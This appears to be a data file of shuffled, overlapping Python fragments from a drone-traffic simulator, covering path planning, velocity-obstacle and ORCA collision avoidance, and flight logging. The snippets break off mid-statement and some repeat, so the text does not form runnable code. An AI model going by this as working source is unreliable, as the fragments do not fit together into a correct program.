y]) - intruder_agent.velocity)", "self.density = self.cumulative_density/self.n_steps - 1 agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length", "= float(np.linalg.norm(self.goal - self.start)) actual_length = 0 if self.trajectory == []: print('agent, empty", "# Since we already now the index we could avoid a second call", "path and publish it self.density = density if self.centralized_manager is None: print('agent.py preflight", "requires interpolation # Since we already now the index we could avoid a", "python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'A_star_8': timer_start", "orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt) timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return vel elif algo_type", "self.start_time = times[0] ## Debug if len(times) < 2: print('the plan is too", "None self.start_time = times[0] ## Debug if len(times) < 2: print('the plan is", "= sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return agent_log def get_VO(intruder_agent, ownship_agent): if", "current position, next flight plan goal and surrounding vehicles decide where to go", "- current_position[0]) d = np.linalg.norm(goal - current_position) max_step_length = min(speed * dt, d)", "safety_factor = 1.10 # 10% safety factor (as in The effects of Swarming", "if dabsH<=10: dabsH=10 dcpa[0] = delta_pos[1] / dist * dabsH dcpa[1] = -delta_pos[0]", "temp = self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) > 1e-4: # requires interpolation # Since we", "in range(lower, upper + 1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper != end_index_float:", "normal_2 = np.array([-vector2[1], vector2[0]]) # Rotated -90 degrees constraint2 = lambda x, y:", "if start and goal are really close print(self.start) print(self.goal) pos_0 = self.trajectory[0] for", "self.arrival_time if self.t_removed_from_sim is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading agent_log['density']= self.density if self.agent_logic", "'SIPP': timer_start = python_time.time() sipp_planner = pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success,", "pos) # Larger time steps require larger tolerance # TODO tolerances are a", "as np from uam_simulator import my_utils from uam_simulator import pathPlanning from uam_simulator import", "new_velocity): # Introduce kinematic constraints # For now just clamp the velocity and", "else: for neighbor in neighbors: # Find Time of Closest Approach delta_pos =", "self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = sipp_planner.search() if not success: self.flight_status =", "self.desired_start_time = start_time self.start_time = start_time # actual start time if a ground", "'finished' or self.flight_status == 'ongoing': agent_log['actual_time_of_departure'] = self.start_time if self.flight_status == 'finished': ideal_length", "+ np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length def move(self): self.position = np.copy(self.new_position) self.velocity = np.copy(self.new_velocity)", "else: self.ownship = True self.flight_status = 'initialized' self.algo_type = algo_type self.cumulative_density=0 self.density=0 self.n_steps=0", "i * self.time_step for i in range(0, len(self.positions))]) if self.time_step is not None:", "a free path and publish it self.density = density if self.centralized_manager is None:", "astar_planner.search() if not success: self.flight_status = 'cancelled' timer_end = python_time.time() self.preflight_time = timer_end", "# Given current position, next flight plan goal and surrounding vehicles decide where", "an intruder in the protected radius') print(ownship_agent.position) print(intruder_agent.position) alpha = math.asin(ownship_agent.radius / d)", "python_time.time() self.preflight_time = timer_end - timer_start return None self.start_time = times[0] self.flightPlan =", "<= 1) n_intruder += 1 model.addConstr(X[0] * X[0] + X[1] * X[1] <=", "self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading", "else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] else: if time", "search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i in range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time", "self.start_time = t0 self.positions = positions self.time_step = dt self.times = None if", "self.flight_leg=flight_leg def get_predicted_end_time(self): if self.flightPlan is not None: return self.flightPlan.end_time else: print('Agent: in", "plan (without consideration for kinematic properties) self.new_position = self.flightPlan.get_planned_position_at(current_time + dt, debug=debug) self.new_velocity", "min(speed * dt, d) # slow down to arrive at the goal on", "self.positions = positions self.time_step = dt self.times = None if times is not", "# Will return itself so query one more neighbor neighbors = self.environment.get_nearest_neighbors(self.position, k+1,", "direction / d safety_factor = 1.10 # 10% safety factor (as in The", "= 'finished' self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim if goal_pos is not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t)", "ground delay is planned if np.linalg.norm(self.goal - self.start) == 0: print(agent_logic) print(start) print(end)", "steps require larger tolerance # TODO tolerances are a bit of a mess", "= times[0] self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end = python_time.time()", "python_time.time() neighbors = self.get_neighbors() velocity_change = np.asarray([0.0, 0.0]) direction = self.goal - self.position", "print(start_time-self.end_time) if self.time_step is None: # self.times is sorted [start_index, end_index] = np.searchsorted(self.times,", "- idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low + (pos_high - pos_low) * (idx_float -", "times[0] self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time", "range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time <= times[end_index] if abs(self.times[end_index]-trajectory_end_time) > 1e-4: #", "(tcpa is negative) then just keep going if t_cpa<=0: dV = 0 else:", "Potential-Based Conflict Resolution Algorithm, <NAME>) # if d<=self.radius: # dV=0 # else: for", "1 model.addConstr(X[2 + 2 * n_intruder] + X[2 + 2 * n_intruder +", "ownship are the same') rel_pos = intruder_agent.position - ownship_agent.position d = np.linalg.norm(rel_pos) if", "python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'LocalVO': timer_start", "constraints # For now just clamp the velocity and instantly change the orientation", "else: return self.positions[idx_high] else: if time > self.times[-1]: return np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times,", "1e-4: # requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float = float((trajectory_start_time", "pos_high = self.positions[idx_high] pos_low = self.positions[idx_low] # if time is exactly integer then", "np.linalg.norm(goal - current_position) max_step_length = min(speed * dt, d) # slow down to", "x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_2, normal_2) return constraint1,", "t,goal_pos=None, t_removed_from_sim=None): self.flight_status = 'finished' self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim if goal_pos is not", "'ongoing': agent_log['actual_time_of_departure'] = self.start_time if self.flight_status == 'finished': ideal_length = float(np.linalg.norm(self.goal - self.start))", "centralized manager must exist') if algo_type == 'Straight': timer_start = python_time.time() plan =", "def log_agent(self): agent_log = {'flight_status': self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if self.flight_status==", "integer then returns the exact pos if debug: print(idx_float) print(pos_high) print(pos_low) if return_velocity:", "= self.velocity self.trajectory = [] self.trajectory_times = [] self.collision_avoidance_time = [] self.preflight_time =", "vtype=GRB.BINARY) model.update() X = model.getVars() n_intruder = 0 for intruder in intruders: constraints_or", "times.append(trajectory_start_time) for index in range(lower, upper + 1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if", "= self.maxSpeed * (self.goal - self.start) / (np.linalg.norm(self.goal - self.start)) self.new_velocity = self.velocity", "') def get_neighbors(self): neighbors = self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors == []: return []", "intruder_agent.velocity) + 0.1 * normal_1, normal_1) # must be smaller normal_2 = np.array([-vector2[1],", "= agent_dynamics if agent_logic == 'dumb': protected_area = self.environment.get_protected_area() else: # All other", "def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status = 'finished' self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim if goal_pos", "> self.maxSpeed * dt: pos = self.compute_straight_move(pos, self.goal, self.maxSpeed, dt) d = np.linalg.norm(self.goal", "2 * n_intruder] + X[2 + 2 * n_intruder + 1] <= 1)", "start time if a ground delay is planned if np.linalg.norm(self.goal - self.start) ==", "= self.positions[idx_high] pos_low = self.positions[idx_low] # if time is exactly integer then returns", "None: # self.times is sorted [start_index, end_index] = np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp =", "= (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] else: if time > self.times[-1]:", "= python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times", "neighbors: # Find Time of Closest Approach delta_pos = self.position - neighbor.position dist=np.linalg.norm(delta_pos)", "- current_position[1], goal[0] - current_position[0]) d = np.linalg.norm(goal - current_position) max_step_length = min(speed", "10: print('unlikely, agent start and goal are still close') else: self.start = start", "factor (as in The effects of Swarming on a Voltage Potential-Based Conflict Resolution", "agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return agent_log def get_VO(intruder_agent, ownship_agent):", "timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity else: print(algo_type+' not implemented ')", "timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan else: print('The algo", "self.get_neighbors() d = np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed) if", "must exist') if algo_type == 'Straight': timer_start = python_time.time() plan = [] plan.append(self.start)", "+ (len(self.positions) - 1) * self.time_step else: self.end_time=self.times[-1] def get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False,", "self.maxSpeed, dt) d = np.linalg.norm(self.goal - pos) plan.append(pos) if d != 0: plan.append(self.goal)", "erratum = np.cos(np.arcsin((self.radius*safety_factor) / dist) - np.arcsin(dabsH / dist)) dV =(((self.radius*safety_factor) / erratum", "c model.addConstr(a * X[0] + b * X[1] - K * X[2 +", "self.trajectory_times.append(current_time + dt) self.flight_status = 'ongoing' def compute_straight_move(self, current_position, goal, speed, dt): orientation", "self.status = 'ok' self.agent_logic = agent_logic self.tolerance = self.environment.tolerance self.t_removed_from_sim=None if agent_logic ==", "self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = local_planner.search() if not success: self.flight_status", "= pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager) success, plan, times = astar_planner.search() if not", "timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return vel elif algo_type == 'straight': timer_start", "- 1) if self.times[idx_high] == time or idx_low == idx_high: if return_velocity: if", "Store the next position in self.new_position. The position is updated when move is", "import math import numpy as np from uam_simulator import my_utils from uam_simulator import", "model = grb.Model('VO') max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2", "trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index in range(lower, upper + 1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index])", "= python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'LocalVO':", "desired_vel[1]) * (X[1] - desired_vel[1]), GRB.MINIMIZE) model.setParam(\"OutputFlag\", 0) model.setParam(\"FeasibilityTol\", 1e-9) model.update() return model", "compute_straight_move(self, current_position, goal, speed, dt): orientation = math.atan2(goal[1] - current_position[1], goal[0] - current_position[0])", "'reactive': self.density = self.cumulative_density/self.n_steps - 1 agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']=", "print('get_VO this should not happen intruder and ownship are the same') rel_pos =", "plan is too short') print('agent start '+ str(self.start)) print('agent goal '+str(self.goal)) print('agent plan", "self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index in range(lower, upper + 1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step)", "dist)) dV =(((self.radius*safety_factor) / erratum - dabsH) * dcpa)/(abs(t_cpa)*dabsH) else: # If already", "n_intruder + 1] <= 1) n_intruder += 1 model.addConstr(X[0] * X[0] + X[1]", "if self.agent_dynamics is None: return new_velocity * v_clamped / v else: turn_angle =", "self.preflight_time = timer_end - timer_start return None self.start_time = times[0] self.flightPlan = Flightplan(times[0],", "= constraint(1, 0) - c b = constraint(0, 1) - c # K", "end_time\"\"\" if (start_time - self.end_time) >= -1e-4 or (end_time - self.start_time) <= 1e-4:", "theta=math.copysign(max_angle,turn_angle) return vel @ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else: return new_velocity * v_clamped", "else: return neighbors[neighbors != self] def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status = 'finished' self.arrival_time", "idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low + (pos_high - pos_low) * (idx_float - idx_low)", "print(self.start) print(self.goal) pos_0 = self.trajectory[0] for pos in self.trajectory: d = np.linalg.norm(pos -", "= pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = sipp_planner.search() if", "self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: print('unlikely, agent start and goal are", "self.new_position = np.copy(self.start) self.radius = radius self.orientation = 0 self.minSpeed = 0.0 self.maxSpeed", "self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = decoupled_planner.search() if not success:", "orientation v = np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed, v) if self.agent_dynamics is None:", "times[1] - times[0], plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time = timer_end - timer_start", "* X[1] - K * X[2 + 2 * n_intruder + n_constraint] <=", "local_planner = pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = local_planner.search()", "time > self.times[-1]: return np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times, time) idx_low = max(0, idx_high", "= np.array(times) else: self.times = np.array([self.start_time + i * self.time_step for i in", "= self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity) self.new_position += self.new_velocity * dt if self.agent_logic", "self.flightPlan.get_planned_position_at(current_time + dt, debug=debug) self.new_velocity = (self.new_position - self.position) / dt if debug:", "= self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: # Play one more time", "start and goal are close, redrawing at random') self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if", "t return True def collision_avoidance(self, dt, algo_type='MVP'): # Given current position, next flight", "self.preflight_time elif self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time)", "0') if ownship_agent.radius > d: print('there is an intruder in the protected radius')", "' + str(self.position)) if self.trajectory == []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt)", "v def preflight(self, dt, algo_type='Straight', density=0): # Given, the start/goals and published flight", "self.maxSpeed) if d == 0: print('VO, this should not happen') print('distance to goal", "lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_2, normal_2) return", "pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = local_planner.search() if not", "v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel @ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else: return", "max(0, idx_high - 1) if self.times[idx_high] == time or idx_low == idx_high: if", "- self.times[idx_low]) / (self.times[idx_high] - self.times[idx_low]) pos_high = self.positions[idx_high] pos_low = self.positions[idx_low] #", "return itself so query one more neighbor neighbors = self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if", "+ ' is not implemented') def can_safely_take_off(self, t): if self.algo_type == 'straight': return", "have random start and not random end (or vice versa) if start is", "math.cos(theta)]]) else: return new_velocity * v_clamped / v def preflight(self, dt, algo_type='Straight', density=0):", "def get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False, debug=False): \"\"\" Interpolates between the flight points \"\"\"", "\"\"\" Interpolates between the flight points \"\"\" if ignore_timed_out and time > self.end_time:", "return self.flightPlan if algo_type == 'Decoupled': timer_start = python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal,", "print('start_time is '+str(start_time)) print('end_time '+str(end_time)) print('positions '+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time) if self.time_step is", "timer_start) return desired_velocity else: print(algo_type+' not implemented ') def get_neighbors(self): neighbors = self.environment.get_neighbors(self.position,", "import numpy as np from uam_simulator import my_utils from uam_simulator import pathPlanning from", "0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] else: if", "density=0): # Given, the start/goals and published flight plans of other agents find", "+ algo_type + ' is not implemented') def can_safely_take_off(self, t): if self.algo_type ==", "self.flight_status = 'cancelled' return None self.start_time = times[0] ## Debug if len(times) <", "redrawing at random') self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10:", "/ d) # VO cone half-angle (>=0) theta = math.atan2(rel_pos[1], rel_pos[0]) vector1 =", "+ alpha)] vector2 = [math.cos(theta - alpha), math.sin(theta - alpha)] # must be", "'+ str(self.start)) print('agent goal '+str(self.goal)) print('agent plan pos '+str(plan)) print('agent plan times '", "return new_velocity * v_clamped / v def preflight(self, dt, algo_type='Straight', density=0): # Given,", "= [] if debug: print('time step is '+str(self.time_step)) print('start_time is '+str(start_time)) print('end_time '+str(end_time))", "sensing_radius self.desired_start_time = start_time self.start_time = start_time # actual start time if a", "def can_safely_take_off(self, t): if self.algo_type == 'straight': return True neighbors = self.environment.get_neighbors(self.position, self.radius)", "from uam_simulator import pathPlanning from uam_simulator import orca import gurobipy as grb from", "at the goal on the next time step return current_position + np.array([math.cos(orientation), math.sin(orientation)])", "= sipp_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time = times[0]", "= np.array([-vector2[1], vector2[0]]) # Rotated -90 degrees constraint2 = lambda x, y: np.dot((np.array([x,", "neighbors = self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors == []: return [] else: return neighbors[neighbors", "= end self.position = np.copy(self.start) # Passed by reference self.new_position = np.copy(self.start) self.radius", "< 2: print('the plan is too short') print('agent start '+ str(self.start)) print('agent goal", "self.algo_type = 'MVP' self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity) self.new_position += self.new_velocity", "max_step_length = min(speed * dt, d) # slow down to arrive at the", "t): if self.algo_type == 'straight': return True neighbors = self.environment.get_neighbors(self.position, self.radius) for vehicle", "a Voltage Potential-Based Conflict Resolution Algorithm, <NAME>) # if d<=self.radius: # dV=0 #", "=(((self.radius*safety_factor) / erratum - dabsH) * dcpa)/(abs(t_cpa)*dabsH) else: # If already moving away", "goal_pos is not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self): agent_log = {'flight_status': self.flight_status, 'agent_type':", "trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float = float((trajectory_start_time - self.start_time) / self.time_step) end_index_float = float((trajectory_end_time", "id=0, sensing_radius=10000, flight_leg='initial'): self.id = id self.environment = env self.centralized_manager = centralized_manager self.agent_dynamics", "' + algo_type + ' is not implemented') def can_safely_take_off(self, t): if self.algo_type", "<= self.radius: self.flight_status = 'waiting' return False self.start_time = t return True def", "n - 1) if idx_low == idx_high: # Indices are equal because idx_float", "* X[0] + b * X[1] - K * X[2 + 2 *", "-c) n_constraint += 1 model.addConstr(X[2 + 2 * n_intruder] + X[2 + 2", "self) model.optimize() if model.status != GRB.Status.OPTIMAL: print('Error gurobi failed to find a solution')", "b = constraint(0, 1) - c # K must be arbitrarily large so", "= np.searchsorted(self.times, time) idx_low = max(0, idx_high - 1) if self.times[idx_high] == time", "[]: return [] else: return neighbors[neighbors != self] def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status", "self.maxSpeed = max_speed self.sensing_radius = sensing_radius self.desired_start_time = start_time self.start_time = start_time #", "pos = np.copy(self.start) d = np.linalg.norm(self.goal - pos) # Larger time steps require", "self.flight_status == 'finished': ideal_length = float(np.linalg.norm(self.goal - self.start)) actual_length = 0 if self.trajectory", "desired_vel, ownship_agent): \"\"\" Intruders should be an array of agents \"\"\" model =", "radius, max_speed, start=None, end=None, start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'): self.id", "0: print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal - self.start)) self.velocity = self.maxSpeed * (self.goal -", "np.array([vector1[1], -vector1[0]]) # Rotated +90 degrees constraint1 = lambda x, y: np.dot((np.array([x, y])", "else: start_index_float = float((trajectory_start_time - self.start_time) / self.time_step) end_index_float = float((trajectory_end_time - self.start_time)", "Passed by reference self.new_position = np.copy(self.start) self.radius = radius self.orientation = 0 self.minSpeed", "< dist: erratum = np.cos(np.arcsin((self.radius*safety_factor) / dist) - np.arcsin(dabsH / dist)) dV =(((self.radius*safety_factor)", "env self.centralized_manager = centralized_manager self.agent_dynamics = agent_dynamics if agent_logic == 'dumb': protected_area =", "self.new_position = self.flightPlan.get_planned_position_at(current_time + dt, debug=debug) self.new_velocity = (self.new_position - self.position) / dt", "is called \"\"\" if self.agent_logic == 'dumb': self.new_position = self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt)", "self.time_step is not None: idx_float = (float(time) - float(self.start_time)) / float(self.time_step) idx_low =", "dist) - np.arcsin(dabsH / dist)) dV =(((self.radius*safety_factor) / erratum - dabsH) * dcpa)/(abs(t_cpa)*dabsH)", "<NAME>) # if d<=self.radius: # dV=0 # else: for neighbor in neighbors: #", "- self.goal) < 10: # Play one more time # print('agent start and", "error, a centralized manager must exist') if algo_type == 'Straight': timer_start = python_time.time()", "None: self.algo_type = 'MVP' self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity) self.new_position +=", "y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_2, normal_2) return constraint1, constraint2", "if intruder_agent == ownship_agent: print('get_VO this should not happen intruder and ownship are", "= self.velocity * v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel @ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta),", "return desired_velocity + velocity_change elif algo_type == 'VO': timer_start = python_time.time() intruders =", "dt) self.flight_status = 'ongoing' def compute_straight_move(self, current_position, goal, speed, dt): orientation = math.atan2(goal[1]", "plan.append(pos) if d != 0: plan.append(self.goal) self.flightPlan = Flightplan(self.start_time, dt, plan) timer_end =", "= 0.0 self.maxSpeed = max_speed self.sensing_radius = sensing_radius self.desired_start_time = start_time self.start_time =", "lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_1, normal_1) #", "'dumb': self.new_position = self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt) self.new_velocity = (self.new_position - self.position) /", "/ d model = setupMIQCP(intruders, desired_velocity, self) model.optimize() if model.status != GRB.Status.OPTIMAL: print('Error", "n_intruder = 0 for intruder in intruders: constraints_or = get_VO(intruder, ownship_agent) n_constraint =", "upper = min(math.floor(end_index_float), len(self.positions) - 1) if lower != start_index_float: pos_0 = self.get_planned_position_at(start_time)", "= math.ceil(start_index_float) upper = min(math.floor(end_index_float), len(self.positions) - 1) if lower != start_index_float: pos_0", "np.array([vars[0].x, vars[1].x]) elif algo_type == 'ORCA': timer_start = python_time.time() reactive_solver = orca.ORCA() vel=reactive_solver.compute_new_velocity(self,", "np.linalg.norm(direction) desired_velocity = min(self.maxSpeed, d / dt) * direction / d safety_factor =", "None: self.end_time = self.start_time + (len(self.positions) - 1) * self.time_step else: self.end_time=self.times[-1] def", "self.centralized_manager) success, plan, times = astar_planner.search() if not success: self.flight_status = 'cancelled' timer_end", "is updated when move is called \"\"\" if self.agent_logic == 'dumb': self.new_position =", "dabsH = np.linalg.norm(dcpa) # If there is a conflict if dabsH < self.radius:", "min(math.floor(end_index_float), len(self.positions) - 1) if lower != start_index_float: pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time)", "end_index_float: pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory, times def get_end_time(self): if self.time_step", "[] times = [] if debug: print('time step is '+str(self.time_step)) print('start_time is '+str(start_time))", "self.ownship = False else: self.ownship = True self.flight_status = 'initialized' self.algo_type = algo_type", "print('positions '+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time) if self.time_step is None: # self.times is sorted", "start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'): self.id = id self.environment =", "in range(0, len(self.positions))]) if self.time_step is not None: self.end_time = self.start_time + (len(self.positions)", "and time > self.end_time: if return_velocity: return None, None else: return None n", "self.density=0 self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self): if self.flightPlan is not None: return self.flightPlan.end_time else:", "else: return neighbors[neighbors != self] def get_nearest_neighbors(self, k, max_radius): # Will return itself", "in self.new_position. The position is updated when move is called \"\"\" if self.agent_logic", "the two agents is 0') if ownship_agent.radius > d: print('there is an intruder", "erratum - dabsH) * dcpa)/(abs(t_cpa)*dabsH) else: # If already moving away from conflict", "called \"\"\" if self.agent_logic == 'dumb': self.new_position = self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt) self.new_velocity", "self.trajectory_times.append(t) def log_agent(self): agent_log = {'flight_status': self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if", "for pos in self.trajectory: d = np.linalg.norm(pos - pos_0) actual_length += d pos_0", "return constraint1, constraint2 def setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\" Intruders should be an array", "1) - c # K must be arbitrarily large so that when the", "not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self): agent_log = {'flight_status': self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure':", "return trajectory, times def get_end_time(self): if self.time_step is not None: return self.start_time +", "(float(time) - float(self.start_time)) / float(self.time_step) idx_low = min(math.floor(idx_float), n - 1) idx_high =", "self.environment.tolerance self.t_removed_from_sim=None if agent_logic == 'dumb': self.ownship = False else: self.ownship = True", "agent_log = {'flight_status': self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if self.flight_status== 'finished' or", "start '+ str(self.start)) print('agent goal '+str(self.goal)) print('agent plan pos '+str(plan)) print('agent plan times", "@ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else: return new_velocity * v_clamped / v def", "Play one more time # print('agent start and goal are close, redrawing at", "'initialized' self.algo_type = algo_type self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self): if self.flightPlan is", "np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel, delta_vel) dcpa = delta_pos+delta_vel*t_cpa dabsH =", "python_time.time() local_planner = pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times =", "success: self.flight_status = 'cancelled' timer_end = python_time.time() self.preflight_time = timer_end - timer_start return", "math import numpy as np from uam_simulator import my_utils from uam_simulator import pathPlanning", "if np.linalg.norm(self.goal - self.start) == 0: print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal - self.start)) self.velocity", "* dabsH if self.radius*safety_factor < dist: erratum = np.cos(np.arcsin((self.radius*safety_factor) / dist) - np.arcsin(dabsH", "np.copy(self.start) # Passed by reference self.new_position = np.copy(self.start) self.radius = radius self.orientation =", "self.position = np.copy(self.start) # Passed by reference self.new_position = np.copy(self.start) self.radius = radius", "idx_float = (float(time) - float(self.start_time)) / float(self.time_step) idx_low = min(math.floor(idx_float), n - 1)", "alpha)] # must be greater normal_1 = np.array([vector1[1], -vector1[0]]) # Rotated +90 degrees", "return self.position def velocity_update(self, new_velocity): # Introduce kinematic constraints # For now just", "!= self] def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status = 'finished' self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim", "self.agent_logic == 'strategic': agent_log['time_to_preflight'] = self.preflight_time elif self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time)", "array of agents \"\"\" model = grb.Model('VO') max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, 